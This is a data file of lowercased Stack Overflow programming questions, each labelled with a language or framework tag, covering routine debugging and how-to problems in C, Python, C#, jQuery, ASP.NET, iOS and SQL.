error: void value not ignored as it ought to be in c program  when i try to compile my program which has two functions i keep getting this error:   <pre><code>    exer1.c: in function ‘main’:     exer1.c:15:14: error: void value not ignored as it ought to be </code></pre>   here is the code:   <pre><code>#include &lt;stdio.h&gt; void addition_1(int *num1  int *num2); int main(void) {          int num1;         int num2;         int finalanswer;          printf( number one:  );         scanf( %d   &amp;num1);          printf( number two:  );         scanf( %d   &amp;num2);          finalanswer = addition_1(&amp;num1  &amp;num2);          return 0;  }  void addition_1(int *num1  int *num2) {          int total;          total = *num1 + *num2;         print( %d + %d = %d   *num1  *num2 total); } </code></pre>   i know i don t need to use the pointers  but i want to use pointers for a learning experience and to understand. is there a away to skip the result when i compile the program,c
error on python string with an  @  as its starting character  i m really new to python so please bear with me...    i m doing on a research project by myself and i stumbled on this error on the terminal:   <pre><code>traceback (most recent call last):   file  /var/www/html/scholasticus/scholasticus.py   line 164  in get_account     user_id = ast.literal_eval(user.text_to_int_users(flask.g._current_user).response[0])[ message ]   file  /usr/lib/python2.7/ast.py   line 80  in literal_eval     return _convert(node_or_string)   file  /usr/lib/python2.7/ast.py   line 63  in _convert     in zip(node.keys  node.values))   file  /usr/lib/python2.7/ast.py   line 62  in &lt;genexpr&gt;     return dict((_convert(k)  _convert(v)) for k  v   file  /usr/lib/python2.7/ast.py   line 79  in _convert     raise valueerror( malformed string ) </code></pre>   where flask.g._current_user =  @myname  (which is a username).    any idea how to correct this  this is the only error that i get whenever the string starts with an @ sign; whenever the username does not start with an @ sign  no error shows up.    thanks a lot~~,python
how to get the text from h1 element   i have a master and content page:    1) on master page:    markup:   <pre><code>&lt;h1 id= seoactionh1  runat= server &gt;&lt;/h1&gt; </code></pre>   code behind:   <pre><code>public string seoactionheader1 {     set     {         seoactionh1.innertext = string.isnullorempty(value)   string.empty : value;     }     get     {         return seoactionh1.innertext;     } } </code></pre>   2) on content page:    code behind:   <pre><code>private main mainmasterpage {     get { return master as main; } }  protected void page_load(object sender  eventargs e) {     if (!ispostback)     {         string groupname = mainmasterpage.seoactionheader1;     } } </code></pre>   if for example the content of h1 is: hello  i ve got the following:   <pre><code> \r\n                                  </code></pre>   what s going on,asp.net
c# iserializable question  i am planning to use serialization to do clone. i have to make my class iserializable. but how about its super classes and all referenced variable classes  do i need to make them all iserializable     if i use iserializable. i have to implement the  getobjectdata()  what i should put inside that method  leave it empty is ok,c#
convert object back to file  i want to convert an object of system.byte[] which is actually a file  retrieved from the database  back to file and store the file in a folder. how can we convert it using asp.net with c#,asp.net
is there any common fix for jquery firefox error: could not convert javascript argument arg 0   i updated jquery latest version v1.4.2 and getting  could not convert javascript argument arg 0  this error. is the any common fix for this. i found some solution and they are saying that when finding dimension for display none element it will give this error. also the following fix is working for me    placing this    <pre><code>if (!elem || elem == document) elem = document.body </code></pre>   above this line   <pre><code>var computedstyle = defaultview.getcomputedstyle(elem  null); </code></pre>   i am not sure this is the proper solution. i first found this bug when using jquery blockui plugin and after updating that plugin to latest version fixed this issue. anyone suggest me better solution for this,jquery
autosuggest in div tag using jquery  i have 10 sections name that starts and end with <code>[[</code> and <code>]]</code> respectively..    i have to do autosuggestion on div tag which is set to <code>contenteditable=true</code> when user write <code>[[</code> then it shows section name..    autocomplete is not supported in div tag   <pre><code> &lt;div id= textbox  class= mousetrap  contenteditable= true  autocomplete= on  spellcheck= true &gt;                         &lt;/div&gt; $(function() {                 var availabletags = [                      window                        door and frame                        ceilling                        condition                  ];                 $( #textbox ).autocomplete({                     source: availabletags                 });               }); </code></pre>   any suggestion,jquery
is there a way to compile a nsregularexpression to match multiple strings   icu and java s regular expression support (and probably other platforms) separate compilation of a regular expression from matching it to a specific string.  this improves performance when a common regex pattern is matched with multiple strings  since it only needs to be compiled once.    is there any way to do this with nsregularexpression   its design appears to combine these two steps  if i m reading the documentation correctly.,ios
need to suppress per patient <pre><code>select distinct  patient  value  problem  med  from (((have all this code right) group by  patient  value  problem  med </code></pre>   the report i have is all correct and prints perfect  i just need for it to suppress duplicates. i don t care if the patient has 4 values i only want to see one   <pre><code>name           value         problem    med karen life     20            icd-427.31  metro karen life     19            icd-427.31  metro </code></pre>,sql
ios simply dropdown number selector  i want a every simple dropdown number selector. i.e. have a range of values from 1 - 10. i want it to be compact like a html page would have. does anything like this exist or do i have to use uipickerview,ios
javascript select input previous selection  i don t have much experience with javascript so i  not sure if/how this can be done. so i have a number of select components with a couple of options. one of these options for all of the components is  all .     now i need to make sure that no more than one component has  all  selected. i m using some input fields and making some validations to make sure this condition stands. however i can t see how i can do the following. when a user selects  all  from a field  and this is not allowed because there is already an  all  on the page  <strong>put the previous selection</strong> in it s place.    so far what i have is (component being the current select component):   <pre><code>selectedname = component.options[component.selectedindex].innerhtml; if (selectedname ==  all ) {   if (emptyallspace() == 1) {     //here i do all the mumbo jumbo needed and assign to the hidden field the name of      //the component   }    else {     //here is where i should put back the old selection value.    }  } </code></pre>   now the else branch is where i need to figure something out. so how can i / how difficult would it be to get <strong>the selected option before the currently selected one</strong>.     i m also interested how difficult it would be because i could also go another route and just put as selected the first option that is not  all  but i would rather avoid this if it s no too time consuming.    regards  bogdan,javascript
how to know when an app has been forcefully closed by user   how could i know app was closed by user forcefully      closed by user forcefully  means when app in background and user close it..    how can know this     thanks...    i edit my question     i want to maintain user log  so when user click on login or logout  i done my code over there for add log detail. but when user don t click on logout and kills app through the multitasking kill  then i can t execute logout related code. so how can i get that  and my app is background enable...,iphone
validate acn (australian company number) in c#  how to validate an asic acn (australian company number) in c#     the <a href= http://asic.gov.au/for-business/starting-a-company/how-to-start-a-company/australian-company-numbers/australian-company-number-digit-check/  rel= nofollow >validation rules</a> will be static over time so for the sake of brevity have not repeated them here.,c#
interface good practices  is it a good practice to have an interface that has no methods but just properties,.net
json array with using jquery ui  i have a json file like below. and i m using jquery 1.10.1 and jquery ui 1.10.4 version   <pre><code> var jsondata =     {        data : [         {            image :  content/uploads/f1d59b7e-c93a-4419-94a6-6514d1c2384.jpg              textstyles : {              pricecolour :  fff                checkincolour :  222            }             products : [             {                product :  product-1                  price :  55776              }              {                product :  product-2                  price :  24776              }           ]         }       ]     } </code></pre>   i used this code for sorting by price under the data => products   <pre><code>    function sortjsondata(prop  asc  jsondata) {             jsondata = jsondata.sort(function (a  b) {                 if (asc) return (a[prop] &gt; b[prop]);                 else return (b[prop] &gt; a[prop]);             });             return jsondata;     }  $(document).ready(function () {         sortjsondata( price   true  jsondata); }); </code></pre>   i have error    <pre><code>uncaught typeerror: undefined is not a function </code></pre>   on the document ready method.    i need a sorting by price of product json string. how can i write this code,jquery
can orderedstructure in .net delete variables if they are compared controversially  <pre><code>#pragma strict public class teffectcomparator implements icomparer {     public function teffectcomparator()     {      }     public function compare (f:object s:object)     {          if(f.type&gt;s.type)             return 1;         else if(f.type&lt;s.type)             return -1;         return 1; //will it cause errors      } } </code></pre>   i want to implement a priority queue.     i don t want to implement a special id property.    if my comparison function returns 1 each time when two objects are equal  will it cause errors,.net
what is the correct way of executing a java command from runtime.exec()  i need to run command using runtime.exec() :   <pre><code>java -cp .:/s/v-lib/* tdesigner -inrs /scg.rsp -out /g.plan; </code></pre>   here i need to add all the jars present in /s/v-lib directory to my class path.  do i need to add them individually     <code>tdesigner</code> is my class.<br> <code>-inrs /scg.rsp -out /g.plan</code> are the arguments to the class.    what will be the correct way to construct command string <br> is this correct:   <pre><code>string[] command = { java    -cp    .:/s/v-lib/*    tdesigner    -inrs    /scg.rsp    -out    g.plan }; </code></pre>,java
explaining bitwise shifting argb values in java  i was wondering the meaning of  bitwise shifting . currently i am trying to create image filters in java using bufferedimage. i found some good answers on how to access the rgb values individually in other posts but wasnt exactly sure on how it works. i understand the rgb values are stored in a 32-bit int each 8-bit part representing the value.    this is what i was looking at: <a href= https://stackoverflow.com/questions/2615522/java-bufferedimage-getting-red-green-and-blue-individually >a link</a>    basically looking for someone to explain this process  the google searches ive done were too technical.,java
how can i refresh particular uitabeviewcell through nstimer   how can i refresh particular uitabeviewcell through nstimer  is it possible  any help pls,iphone
summation of positive values of integer list become negative   i have a list of integer in which i m storing rgb values of an image but after storing the sum of the values in integer then it become negative while all the values in array is positive nd this is the code!   <pre><code>        bitmap bi = new bitmap(@ e:\store signature data\01\01_1.bmp );         bi = resizeimage(bi  20  20);          color[ ] imgary = new color[bi.width  bi.height];           for (int x = 0; x &lt; bi.width; x++)         {             for (int y = 0; y &lt; bi.height; y++)             {                 imgary[x  y] = bi.getpixel(x  y);             }         }          list&lt;int&gt; rgb = new list&lt;int&gt;();         int c = 0;         //rgb value= red + (green*256) + (blue*256*256)         for (int i = 0; i &lt;20; i++)         {             for (int a = 0; a &lt; 20; a++)             {                 c++;                 console.writeline(imgary[i a]+    +c);                 color pixels = imgary[i  a];                 int red = pixels.r;                 int blue = pixels.b;                 int green = pixels.g;                  rgb.add(red + (green * 256) + (blue * 256 * 256));              }         }           int total = 0;         for (int i = 0; i &lt; rgb.count; i++)         {             total += math.abs(rgb[i]);         }         math.abs(total);         console.writeline(total); </code></pre>   <a href= https://i.stack.imgur.com/pbp1z.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pbp1z.png  alt= enter image description here ></a>,c#
"how to select all options in one form via checkbox  i have a form with three labels. how can i select all labels by checkbox     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>    &lt;div class= row &gt;
         &lt;div class= small-11 small-centered columns &gt;
             &lt;form&gt;
                 &lt;fieldset&gt;
                     &lt;legend&gt;&lt;h4&gt;форми участі&lt;/h4&gt;&lt;/legend&gt;
                     &lt;label&gt;
                         секція
                         &lt;input type= text  placeholder= введіть текст &gt;
                     &lt;/label&gt;
                     &lt;label&gt;
                         назва доповіді
                         &lt;input type= text  placeholder= введіть текст &gt;
                     &lt;/label&gt;
                     &lt;label&gt;
                         необхідні технічні засоби
                         &lt;input type= text  placeholder= введіть текст &gt;
                     &lt;/label&gt;
                 &lt;/fieldset&gt;
             &lt;/form&gt;
         &lt;/div&gt;
     &lt;/div&gt;</code></pre>
 </div>
 </div>
     something like this <a href= http://i.imgur.com/tdu5msv.png  rel= nofollow >http://i.imgur.com/tdu5msv.png</a>. if it checked that will pick out all options.",html
shows specific divs on scroll with non javascript browser support  i am trying to modify below script to make it more friendly for users who disabled javascript. the code below set opacity of all divs to 0 and 1 on scroll position. i want to hide specific divs by manually adding class  hideme  and show them on scroll.   <pre><code>$(document).ready(function() {  /* hide all elements outside the visible window */ $( body * ).each( function(){      var top_of_object = $(this).position().top;     var bottom_of_window = $(window).scrolltop() + $(window).height();      if( bottom_of_window &lt; top_of_object  ){          $(this).addclass( hideme ).css({ opacity : 0 });      }  });  /* every time the window is scrolled ... */ $(window).scroll( function(){      /* check the location of the desired elements */     $( .hideme ).each( function(i){          var bottom_of_object = $(this).position().top + $(this).outerheight();         var bottom_of_window = $(window).scrolltop() + $(window).height();               if( bottom_of_window &gt; ( bottom_of_object + 20 )  ){                  $(this).removeclass( hideme ).animate({ opacity : 1 } 500);              }      });   });   }); </code></pre>   i figured out how to specify selected divs  just change below code    $( body * ).each( function(){    to    $( .div-class .another-div-class ).each( function(){,jquery
css 100% height on width  is it even possible to make my width 100% of height using only css  without using javascript or the like.   <pre><code>{     width: /*100% of height*/ } </code></pre>,css
concatenation chars vs split method  i would like to parse string text line  let s say the words are divided by    . i read that split method run on the string line twice in order so split some string  so i decided to split by myself and loop on the string line  then concatenation char by char.  example of one iteration:   <pre><code>string[] terms = new string[4]; string term =   ; string line =  home work studies chill ; while(line[index] !=    )     term = term + line[index];     index++; terms[index] = term; </code></pre>   on the other hand  concatenation char by char will create an array of chars every time. so which way is the most efficient,c#
how to print  y  if it has a certain value in a column  i have a <strong>table a</strong>.    and i have column <strong>aa</strong> and <strong>bb</strong> in the table.    and if i want to print  y  for a new column if column <strong>aa</strong> has a data =  1      how should i write the query     for instance     <pre><code>if aa has a column look like this    aa ====  3   3   1   4 </code></pre>   because it has a data =1  i want to print y.,sql
change the text size of input text form with image  i have a form where an image is displayed and the image contains numbers. i would like that the size of the characters in the text form to be the same as the ones in the image. the numbers in the image have the same height and same spacing so if i have the height and width of the image  i get i can set the input form size and spacing of the characters.    i guess with jquery this is feasible       thanks     john.,jquery
clientx and clienty not giving correct mouse pointer location  i wrote this simple code to print a small dot on the location where i clicked with the mouse pointer:-   <pre><code>$(document).ready(function(){     $( #pane ).click(function(e){         var pixel = $( &lt;div /&gt; )                   .addclass( pixel )                   .css({                       top: e.clienty                        left: e.clientx                   });          $( #pane ).append(pixel)     }); }); </code></pre>   see this <a href= http://jsfiddle.net/dsplg/1/  rel= nofollow noreferrer >fiddle</a> i created. when i click anywhere inside the rectangle  a small dot is printed in that location. but the problem is that dot is not printed where the mouse pointer s <code>tip</code> was. see the below image to see what i meant:-    <img src= https://i.stack.imgur.com/p9vay.png  alt= screenshot showing dot printed in a different location >    i tried in both firefox and chrome.,javascript
what s the simplest database implemented on the iphone   for each row in a database1   compare the data in the cell at index 1 to each row in an existing database2 at cell index 1  and if there is a match  then change the value of the cell at index2 of database2 from 1 to 0    2 nsdictionaries,iphone
the variable name @idliquidacion has already been declared. variable names must be unique within a query batch or stored procedure.   i have the following problem when inserting the info in the databases   <pre><code>public void insertar() {    sqlconnection con = new sqlconnection();    con.connectionstring =  data source=bd-dllo-sp2016;initial catalog=gobernacioncesar;integrated security=true ;     con.open();     string query =  insert into liquidacion (idliquidacion  idperiodo  fechageneracion  usuario) values(@idliquidacion  @idperiodo  @fechageneracion  @usuario) ;     sqlcommand com1 = new sqlcommand(query  con);     foreach (gridviewrow gridrow in gridview4.rows)    {        iniciar();        com1.parameters.addwithvalue( @idliquidacion   a);        com1.parameters.addwithvalue( @idperiodo   cell);        com1.parameters.addwithvalue( @fechageneracion   datetime.now.tostring());        com1.parameters.addwithvalue( @usuario   gridrow.cells[0].text);         com1.executenonquery();    }     con.close();    return; } </code></pre>,asp.net
is revmob  admob  apple id all behavioural advertising  can we use revmob ads such as fullscreen  banner ad in kids game (5 and under 6-8 etc). will it be against apple’s ios 7 app store kids category policy,ios
getting the model class from active record relation  i have a rails model:   <pre><code>class foo &lt; activerecord::base   ... end </code></pre>   given an active record relation:   <pre><code>limited_foo = foo.where(...) </code></pre>   how can i get the original model class    <pre><code>limited_foo ... # =&gt; foo </code></pre>,ruby-on-rails
how to find if the usb is connected to computer or not using c#   i am trying to make a small desktop application in which i have to check whether the usb is connected to the computer or not  please help me with this. i have searched hard on this but i am not satisfied. thank you in advance.,c#
datagridviews in c# winforms  i have created a datagridview with 3 columns as below :   <ul> <li>sr no</li> <li>tasks</li> <li>status(checkbox column)</li> </ul>   i have to add 11 rows whose values i want to hardcode. like sr no 1 to 11 and specific texts for tasks. checkbox column should be initially all set to false.    what is the best way of doing it  please help.,c#
benefits of console app over windows service  i have a .net console app which using a scheduled event will start  call a mweb service method and the close. this runs every hour/every day. whilst there is nothing  wrong  with the implementation i was wondering if there was any benefit to implementing this as a windows service.     has anyone any views of what would be the best practice in this case,.net
div background grows when border is added  i have a banner div with a nested h2 element. when i add a border to the div it appears to grow. but no content has been added to the div. i m a bit confused. here is the scenario:   <pre><code>&lt;body&gt; &lt;div id= easel &gt;     &lt;div class= banner &gt;         &lt;h2&gt;one column layout&lt;/h2&gt;     &lt;/div&gt;     lorem ipsum dolor sit amet  consectetur adipisicing elit. nostrum totam quidem  corporis veniam excepturi quasi dignissimos dolores repellat voluptatibus nulla quas  qui magnam debitis accusantium quo  explicabo doloremque iste! quae voluptatum architecto nostrum soluta  nam ipsam repudiandae temporibus vel debitis libero  amet ducimus  illo voluptatibus eligendi esse nam sit repudiandae. &lt;/div&gt; </code></pre>      <pre><code>body {         margin-left: 15%;         margin-right: 15%;      }      #easel{         background-color: #555;         width:600px;         margin: 0 auto;              border: 1px solid black;     }      .banner{         background-color: #557;         /* border: 1px solid green; */      } </code></pre>   this give the following:<img src= https://i.stack.imgur.com/cxdzl.png  alt= enter image description here >    now add the green border (commented out above) and the background of the .banner div appears to increase:    <img src= https://i.stack.imgur.com/mla5s.png  alt= enter image description here >    i suspect this has something to do with the user agent adding<br> -webkit-margin-before values to h2  but don t fully understand what is going on.,css
argument dependent name lookup and typedef  i would not have expected this code to compile  but it does. my understanding is that <code>func(d)</code> it looks in the global namespace for a function called  func  but also in the namespace of any passed in parameters (argument dependent lookup)    but in this case the parameter is in the global namespace. so why does it find  func  in the ns namespace  are there special rules saying that if the parameter type is a typedef then it uses the namespace of the underlying type rather than the namespace of the actual parameter     this appears to be true but i can t find anything supporting this... is it the expected behavour    <pre><code>namespace ns {     struct data {};     void func(ns::data item) {} };  // create an alias  datatype  in the global namespace for ns::data typedef ns::data datatype;   int main() {     datatype d;     func(d); } </code></pre>,c++
string comparison failed  i want to create a program that tells you the distance between 2 cities you choose(there are 3 cities you can choose 2) and i wrote the code but it gives me no output after i input city1 and city2. i am a beginner and i heard about <code>strcmp</code> but is there another way to do it  here is the code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt;    int main() { char city1[] =  zurich ; char city2[] =  vienna ; char city3[] =  berlin ; char location[20]; char destination[20];  puts( which city are you in at the moment  ); gets(location); puts( which city do you want to go to  ); gets(destination);  if(location == city1) {     if(destination == city2)     {         printf( distance between %s and %s is 743km and it will take you 7 hours and 40 minutes to get there   city1  city2);     }     else     {         printf( distance between %s and %s is 844km and it will take you 8 hours and 40 minutes to get there   city1  city3);     }     } else if(location == city2) {     if(destination == city3)     {         printf( distance between %s and %s is 640km and it will take you 7 hours and 15 minutes to get there   city2  city3 );     }     else     {         printf( distance between %s and %s is 743km and it will take you 7 hours and 40 minutes to get there   city2  city1);        }    }      return 0; } </code></pre>,c
how to navigate to facebook page in asp.net  i created my own site and my own facebook page. i add follow me button on site. in that user have to follow me either on facebook or on twitter. problem: how to navigate user to first login page and then after successfull login to my facebook page,asp.net
web application client server  i want to create a client/server web application.  the client and server can exchange data back and forth.  when i say data i mean like a number  for example (0 8 7...)  so everytime a client presses a button it sends a number to the server and the server send an acknowledgement back to client.  the cleint side i want to put it on the internet so you can access the server from a browser.      is silverlight socket the way to go   i know theres port restrictions but im planning on using my personal router to open up the ports.  or is socket only for local connections,c#
changing default error messages in rails  our client has decided that they would like all blank ar error messages to be changed from  can t be blank  to  must be completed  throughout the entire app.    what s the easiest rails y way of doing this,ruby-on-rails
angluarjs binding json data to form  i m planing to setup a mechanism like this: 1) request the server for a json object 2) the json object contains a structure like this   <pre><code>{ type : address   fields :[{ name : street } { name : city }]} </code></pre>   based on this object a form shall be created with two input fields (street and city) and shall furthermore bound to an angularjs model.   <pre><code>$scope.formdata = { type : address   fields :[{ name : street   value : main street } { name : city   value : nyc }]} </code></pre>   is this approach realizable with angularjs   i want to dynamically build a form (or better say the input elements bound to angularjs model) from a json object and bind a model to that form.    thanks,angularjs
problems setting-up python environment on vps  i am trying to setup a python environment on my vps to run a python script i have written. this is my first time trying something like this. i need to install a couple of libraries so i tried to install pip by uploading the tar file  uncompressing  and running <code>python setup.py install</code> however i got an error saying that setuptools was not installed  so to install that i uploaded the correct egg and ran <code>sh setuptools-0.6c11-py2.6.egg</code> however i received an error saying that zlib is not installed so i uploaded the tar file and uncompressed and tried the following:   <pre><code>[nabusman@host zlib-1.2.6]$ ./configure --prefix=/usr/local/zlib checking for gcc... checking for shared library support... no shared library support. building static library libz.a version 1.2.6 with cc. checking for off64_t... no. checking for fseeko... no. checking for unistd.h... no. checking for stdarg.h... no. checking whether to use vs[n]printf() or s[n]printf()... using s[n]printf(). checking for snprintf() in stdio.h... no.   warning: snprintf() not found  falling back to sprintf(). zlib   can build but will be open to possible buffer-overflow security   vulnerabilities. checking for return value of sprintf()... no.   warning: apparently sprintf() does not return a value. zlib   can build but will be open to possible string-format security   vulnerabilities. [nabusman@host zlib-1.2.6]$ make cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void -i. -c -o example.o test/example.c make: execvp: cc: permission denied make: *** [example.o] error 127 [nabusman@host zlib-1.2.6]$ make -n cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void -i. -c -o example.o test/example.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o adler32.o adler32.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o crc32.o crc32.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o deflate.o deflate.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o infback.o infback.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o inffast.o inffast.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o inflate.o inflate.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o inftrees.o inftrees.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o trees.o trees.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o zutil.o zutil.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o compress.o compress.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o uncompr.o uncompr.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o gzclose.o gzclose.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o gzlib.o gzlib.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o gzread.o gzread.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void   -c -o gzwrite.o gzwrite.c ar rc libz.a adler32.o crc32.o deflate.o infback.o inffast.o inflate.o inftrees.o trees.o zutil.o compress.o uncompr.o gzclose.o gzlib.o gzread.o gzwrite.o  (ranlib libz.a || true) &gt;/dev/null 2&gt;&amp;1 cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void -o example example.o -l. libz.a cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void -i. -c -o minigzip.o test/minigzip.c cc -o -dno_fseeko -dno_snprintf -dhas_sprintf_void -o minigzip minigzip.o -l. libz.a [nabusman@host zlib-1.2.6]$ </code></pre>   so i m kind of lost at this point. i don t understand the errors  nor do i really know what is going on. other than the solution to this problem  is there a couple of books/sites i can read to fill me in on what is happening here     note: vps is running centos 5    thanks.,python
download pdf document on save as dialog  i am using following code for downloading pdf document in save as mode but there is a problem in ie  anyone can resolve this prohlem    <pre><code>private void downloadfile(string fname  bool forcedownload) {     string path = mappath(fname);     string name = path.getfilename(fname);     string ext = path.getextension(fname);     string type =   ;     response.clearheaders();     response.clearcontent();     // set known types based on file extension       if (ext != null)     {         switch (ext.tolower())         {             case  .htm :             case  .html :                 type =  text/html ;                 break;              case  .txt :                 type =  text/plain ;                 break;              case  .pdf :                type =  application/pdf ;                 break;             case  .doc :             case  .docx :             case  .rtf :                 type =  application/msword ;                 break;         }     }     if (forcedownload)     {         response.appendheader( content-disposition    attachment; filename=  + name);     }     if (type !=   )     {         response.contenttype = type;         response.writefile(path);         response.end();     }  } </code></pre>   thanks    asim hashmi,asp.net
how do i solve the error about encoding ？ <pre><code>nsstring *path =[[nsbundle mainbundle]pathforresource:@ 1025626909  oftype:@ txt ]; nsstringencoding enc; nserror *error; nsstring *pagesource = [[nsstring alloc] initwithcontentsoffile:path usedencoding:&amp;enc error:&amp;error]; nslog(@ ==%@  pagesource); nslog(@ ==%@  [error description]); </code></pre>   above code output this：   <pre><code>2013-09-16 17:40:08.843 encodingtest[3350:c07] ==(null) 2013-09-16 17:40:08.846 encodingtest[3350:c07] ==error domain=nscocoaerrordomain code=264  the operation couldn’t be completed. (cocoa error 264.)  userinfo=0x71a5af0 {nsfilepath=/users/dayu/library/application support/iphone simulator/6.1/applications/a33de8d6-d64b-4791-adb6-1ab4b35b743a/encodingtest.app/1025626909.txt   </code></pre>   i can t get the txt file s content，hope superman come help me 。。。。。    i find the file i found this file encoding is gb2312 by other means，then i used the kcfstringencodinggb_2312_80 code . there is no effect 。。。,objective-c
binomial coefficient using one dimensional array  hey i want to implement algorithm of binomial coefficient using one dimensional array in c.can anyone help me.  thanks...,c++
restful webservice in iphone  how can i use restful webservice in iphone instead of soap,iphone
possible reasons for not being able to see a control from the codebehind   i am looking at a main.master with a single <code>&lt;asp:content&gt;</code> control and inside that some asp.net login stuff (loginview  loginname  etc).    i tried adding a <code>label</code> like so:   <pre><code>&lt;asp:loginname id= loginname1  runat= server  formatstring= welcome {0} &lt;br /&gt;  /&gt; &lt;asp:label id= label1  runat= server  /&gt; </code></pre>   but it doesn t show in the codebehind.    any obvious reason for this,asp.net
why i receive this notice while i make checking by array_key_exist  please tell me why i receive this message while i use array_key_exists    <pre><code> &lt;td width= 91 &gt; .(array_key_exists ( 1   $famstand ))   $famstand[1] :    . &lt;/td&gt; </code></pre>   undefined offset: 1,php
making call for webservice when the application is minimized  i want to call the web service at every 10-15second interval of time even when the application is minimised.can any one please help me ho,iphone
how to make a post request to a json restful service from java   i am trying to make a <code>post</code> request from java  to an existing restful service  in order to get the json response and store it in a string.    let s assume that the restful service url is the following:   <pre><code>https://mystore.com/rest-api/ </code></pre>   which is a kind of store with products and you want to search for an item. in order to make a search you have to send also the <code>request body</code> as such:   <pre><code>{     searchproduct :  football  } </code></pre>   in order to make that post i implemented the following method in java:   <pre><code>public string getjsonresponse(string searchproduct) throws exception {      string url =  https://mystore.com/rest-api/ ;     string requestbody =  {\ searchproduct\ : \   + searchproduct +  \ } ;      url obj = new url(url);      httpsurlconnection connection = (httpsurlconnection) obj             .openconnection();      connection.setdooutput(true);     connection.setrequestmethod( post );     connection.setrequestproperty( content-type    application/json );      outputstream outputstream = connection.getoutputstream(); // &lt;-- i get an exception.      outputstream.write(requestbody.getbytes());     outputstream.flush();      bufferedreader in = new bufferedreader(new inputstreamreader(             connection.getinputstream()));     string inputline;     stringbuffer response = new stringbuffer();      while ((inputline = in.readline()) != null) {         response.append(inputline);     }      in.close();      return response.tostring();  } </code></pre>   the exception is the following:   <pre><code>exception in thread  main  java.net.unknownhostexception: mystore.com at java.net.abstractplainsocketimpl.connect(abstractplainsocketimpl.java:184) at java.net.plainsocketimpl.connect(plainsocketimpl.java:172) at java.net.sockssocketimpl.connect(sockssocketimpl.java:392) at java.net.socket.connect(socket.java:589) at sun.security.ssl.sslsocketimpl.connect(sslsocketimpl.java:668) at sun.security.ssl.basesslsocketimpl.connect(basesslsocketimpl.java:173) at sun.net.networkclient.doconnect(networkclient.java:180) at sun.net.www.http.httpclient.openserver(httpclient.java:432) at sun.net.www.http.httpclient.openserver(httpclient.java:527) at sun.net.www.protocol.https.httpsclient.&lt;init&gt;(httpsclient.java:264) at sun.net.www.protocol.https.httpsclient.new(httpsclient.java:367) at sun.net.www.protocol.https.abstractdelegatehttpsurlconnection.getnewhttpclient(abstractdelegatehttpsurlconnection.java:191) at sun.net.www.protocol.http.httpurlconnection.plainconnect0(httpurlconnection.java:1105) at sun.net.www.protocol.http.httpurlconnection.plainconnect(httpurlconnection.java:999) at sun.net.www.protocol.https.abstractdelegatehttpsurlconnection.connect(abstractdelegatehttpsurlconnection.java:177) at sun.net.www.protocol.http.httpurlconnection.getoutputstream0(httpurlconnection.java:1283) at sun.net.www.protocol.http.httpurlconnection.getoutputstream(httpurlconnection.java:1258) at sun.net.www.protocol.https.httpsurlconnectionimpl.getoutputstream(httpsurlconnectionimpl.java:250) at com.stavros.restfulservices.requester.getjsonrespondingresults(requester.java:70) at com.stavros.restfulservices.mymain.main(mymain.java:11) </code></pre>   i do not know why i am getting this exception  but in case you have an idea or you have also faced the same problem  i would appreciate it if you were posting a suggestion or an answer.,java
file  /library/python/2.7/site-packages/django-1.11.2-py2.7.egg/django/conf/__init__.py   line 39  in _setup % (desc  environment_variable))  i want to print the current timestamp in my project  but get error.    my code is here:   <pre><code># -*- coding:utf-8 -*- from time import time  timezone from app04 import models  time_now = time() print(time_now) </code></pre>   my traceback is bellow:   <pre><code>traceback (most recent call last):   file  /users/lice/desktop/testmultom/app04/testapp04.py   line 9  in &lt;module&gt;     from app04 import models   file  /users/lice/desktop/testmultom/app04/models.py   line 8  in &lt;module&gt;     class test04(models.model):   file  /users/lice/desktop/testmultom/app04/models.py   line 9  in test04     testtime = models.datetimefield(null=true)   file  /library/python/2.7/site-packages/django-1.11.2-py2.7.egg/django/db/models/fields/__init__.py   line 1185  in __init__     super(datefield  self).__init__(verbose_name  name  **kwargs)   file  /library/python/2.7/site-packages/django-1.11.2-py2.7.egg/django/db/models/fields/__init__.py   line 172  in __init__     self.db_tablespace = db_tablespace or settings.default_index_tablespace   file  /library/python/2.7/site-packages/django-1.11.2-py2.7.egg/django/conf/__init__.py   line 56  in __getattr__     self._setup(name)   file  /library/python/2.7/site-packages/django-1.11.2-py2.7.egg/django/conf/__init__.py   line 39  in _setup     % (desc  environment_variable)) django.core.exceptions.improperlyconfigured: requested setting default_index_tablespace  but settings are not configured. you must either define the environment variable django_settings_module or call settings.configure() before accessing settings. </code></pre>,python
how can i check if a nsstring is equal with a character at specific index in another nsstring   i tried so far:   <pre><code>if ([randomstring isequaltostring:[anotherrandomstring atindex:1]]){     stuff } </code></pre>   which returns this error:   <blockquote>    error: instance method  -atindex:  not found  </blockquote>   and   <pre><code>[arg1 isequaltostring:[password2 characteratindex:1]] </code></pre>   returns this error   <blockquote>    error: cannot initialize a parameter of type  nsstring *  with an rvalue of type  unichar   </blockquote>,objective-c
